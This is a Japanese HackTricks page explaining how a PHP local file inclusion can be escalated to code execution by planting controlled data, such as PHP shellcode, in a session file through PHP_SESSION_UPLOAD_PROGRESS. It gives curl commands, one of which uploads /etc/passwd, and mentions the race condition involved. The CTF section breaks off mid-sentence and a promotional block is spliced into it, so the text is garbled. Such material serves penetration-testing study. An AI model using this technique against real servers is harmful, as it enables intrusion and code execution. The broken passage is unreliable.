# LFI2RCEをPHP\_SESSION\_UPLOAD\_PROGRESSを介して実行
{% hint style="success" %}
AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksのサポート
* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して**ハッキングトリックを共有**してください。
{% endhint %}
## 基本情報
**セッションがなく**、`session.auto_start`が`Off`であっても、**ローカルファイルインクルージョン**を見つけた場合、**`session.upload_progress.enabled`**が**`On`**であり、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効にします**。
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange
In the last example the session will contain the string blahblahblah
```
**`PHP_SESSION_UPLOAD_PROGRESS`**を使用すると、**セッション内のデータを制御**できます。したがって、セッションファイルを含めると、制御可能な部分(たとえば、PHPシェルコード)を含めることができます。
{% hint style="info" %}
インターネット上のほとんどのチュートリアルは、デバッグ目的で`session.upload_progress.cleanup`を`Off`に設定することをお勧めしています。ただし、PHPのデフォルトの`session.upload_progress.cleanup`はまだ`On`です。つまり、セッション内のアップロード進行状況はできるだけ早くクリーンアップされます。したがって、これは**競合状態**になります。
{% endhint %}
### CTF
このテクニックがコメントされている[**オリジナルCTF**](https://blog.orange.tw/2018/10/)では、競合状態を悪用するだけでは不十分で、読み込まれるコンテンツは`@[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksのサポート
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
{% endhint %}